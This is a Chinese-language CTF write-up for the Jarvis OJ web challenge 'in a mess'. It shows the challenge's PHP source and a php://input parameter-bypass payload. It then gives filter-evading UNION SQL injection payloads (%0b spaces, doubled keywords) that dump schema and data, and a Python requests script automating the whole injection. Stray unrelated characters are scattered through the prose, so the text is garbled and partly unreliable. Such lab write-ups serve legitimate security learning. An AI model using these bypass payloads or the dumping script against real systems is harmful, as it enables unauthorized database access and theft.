in a mess——PCTF{Fin4lly_U_got_i7_C0ngRatulation5}
描述
連出題人自己都忘了flag放哪了坝撑,只記得好像很混亂的樣子不翩。http://web.jarvisoj.com:32780/
分析
- 訪問看見
<!--index.phps-->work harder!harder!harder!
乖巧可愛的跟著出題老師去index.phps,看到源碼抡锈。
<?php
error_reporting(0);
echo "<!--index.phps-->";
if(!$_GET['id']){
header('Location: index.php?id=1');
exit();}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')){
#a里不能有.
echo 'Hahahahahaha';
return ;}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4){
require("flag.txt");}
else{
print "work harder!harder!harder!";}?>
得出結(jié)論要傳3個參數(shù)
1.1 id值等于0但自身不能為0
1.2 b長度大于5且可能涉及eregi繞過(譬如b[0]='.'累驮,通配符匹配)
1.3 a涉及file_get_contents刃鳄,需用偽協(xié)議php://input傳入"1112 is a nice lab!"
- 于是提交payload:
id=0.0&b=%2E11111&a=php://input ; post:1112 is a nice lab!
拿到:Come ON!!! {/^HT2mCpcvOLf}
诅炉,但是作為flag提交了不對(看起來是不太對但試試又不吃虧) - 思路卡了黑滴,看wp發(fā)現(xiàn)是地址ORZ罢荡。訪問
http://web.jarvisoj.com:32780/^HT2mCpcvOLf
赡突,bp里直接改還不行……瀏覽器訪問自動變成了/^HT2mCpcvOLf/index.php?id=1
,頁面顯示hi666区赵。 - id改成2則顯示:SELECT * FROM content WHERE id=2惭缰,提交id=2-1發(fā)現(xiàn)是可以執(zhí)行的,考點變成了sql注入
- 試了試發(fā)現(xiàn)有過濾笼才,回顯為如果檢測到注入就返回you bad bad……漱受,如果執(zhí)行了查詢不到結(jié)果就返回執(zhí)行語句。根據(jù)回顯邏輯一路發(fā)現(xiàn)過濾空格骡送、+昂羡、/**/,部分關(guān)鍵詞作刪除處理(但可以用雙重嵌入繞過)摔踱,各種試空格符發(fā)現(xiàn)不過濾%0b紧憾,到這里差不多可以開始注入了
?id=-1%0bununionion%0bseselectlect%0b1,2,database()#
——test
id=-1%0bununionion%0bseselectlect%0b1,2,table_name%0bfrfromom%0binformation_schema.tables%0bwhere%0btable_schema=database()#
——content
id=-1%0bununionion%0bseselectlect%0b1,2,group_concat(column_name)%0bfrfromom%0binformation_schema.columns%0bwhere%0btable_schema=database()
——id,context,title
id=-1%0bununionion%0bseselectlect%0b1,2,group_concat(id,context,title)%0bfrfromom%0bcontent%0blimit%0b1%0boffset%0b0#
——1PCTF{Fin4lly_U_got_i7_C0ngRatulation5}hi666。
如果存在其他條目里就offset慢慢移吧昌渤,本題剛好只有一條數(shù)據(jù)赴穗。
總結(jié)
1.手動sql注入時的小經(jīng)驗,對于這種有過濾的膀息,手動寫語句經(jīng)常出錯(是我了)般眉,可以再分小點,比如都先union select 1,2,3 潜支,只改后面的甸赃,分步調(diào)試()
2.傳參的套路感覺都不用總結(jié)了,畢竟我也是看過《正則表達式必知必會》的人()冗酿!但后面沒想到括號里是網(wǎng)址……套路防不勝防埠对,甘拜下風
總結(jié)2
然后因為題目簡單,加作業(yè)了……寫代碼擼一下手動注入的邏輯裁替。先order by(這么小的數(shù)就不二分法了())项玛,再union select確定回顯位,再查表名弱判、列名襟沮、字段。寫是寫完了,寫完一看這不就是sqlmap的一部分嗎开伏,我為什么不去看sqlmap的源碼就好了()
import requests
def sqlfilt(payload):#過濾繞過
result = []
for i in payload.split(' '):#對關(guān)鍵詞做處理
if i.isalpha(): #處理方法1膀跌,中間加過濾關(guān)鍵字union
temp = i[:len(i)//2]+'union'+i[len(i)//2:]
result.append(temp)
else:result.append(i)
return '%0b'.join(result) #空格替換方式
def step1(url): #確定column列數(shù)N
N = 0
for i in range(10,1,-1):
payload = sqlfilt('1 order by %d#'%(i))
ret = requests.get(url+payload).text
if NORMAL not in ret:
N = i+1
print ('column總列數(shù)為%d'%(N))
return N
def step2(url,N): #確定column回顯位置
payload = '-1 union select '
for i in range(1,N+1):
payload += str(i)+','
payload = sqlfilt(payload[:-1]+'#')
ret = requests.get(url+payload).text
INDEX = int(ret)#可能需要在print(ret)再在回顯里找一找,
print('回顯位置為%d'%(INDEX))
return INDEX
def unisel(N,INDEX,string): #構(gòu)造回顯注入點(前半截)
PAYLOAD = '-1 union select '
for i in range(1,N+1):
if i != INDEX:
PAYLOAD += str(i)+','
else:
PAYLOAD += string+','
return PAYLOAD[:-1]
def step3(url): #查看表名
payload = unisel(N,INDEX,'group_concat(table_name)')+' from information_schema.tables where table_schema=database()#'
payload = sqlfilt(payload)
ret = requests.get(url+payload).text
TABLES = ret
print ('表名為%s'%(TABLES))
return TABLES
def step4(url):#查看列名
payload = unisel(N,INDEX,'group_concat(column_name)')+' from information_schema.columns where table_schema=database()#' #如果多的話用limit 1 OFFSET 0逐個試
payload = sqlfilt(payload)
ret = requests.get(url+payload).text
COLUMNS = ret.split(',')
print ('列名為%s'%(COLUMNS))
return COLUMNS
def step5(url,COLUMNS,TABLES):#查看字段值
string = 'group_concat('
for i in COLUMNS:
string += i+','
string = string[:-1]+')'
payload = unisel(N,INDEX,string)+' from %s limit 1 offset 0#'%(TABLES)#第一行沒有就接著查-固灵。-
print(payload)
payload = sqlfilt(payload)
ret = requests.get(url+payload).text
print ('結(jié)果為%s'%(ret))
s = requests.session()
url = 'http://web.jarvisoj.com:32780/%5eHT2mCpcvOLf/index.php?id='
NORMAL = requests.get(url+'-1').text[:-2] #回顯規(guī)則:語句正確但查詢沒有結(jié)果時將返回查詢語句,用于基準判斷
N = step1(url)
INDEX = step2(url,N)
TABLES = step3(url)
COLUMNS = step4(url)
step5(url,COLUMNS,TABLES)
大家可以看出我的代碼是多么啰嗦了……好了以后再去看sqlmap怎么寫的捅伤,學習下優(yōu)秀的編程風格ORZ。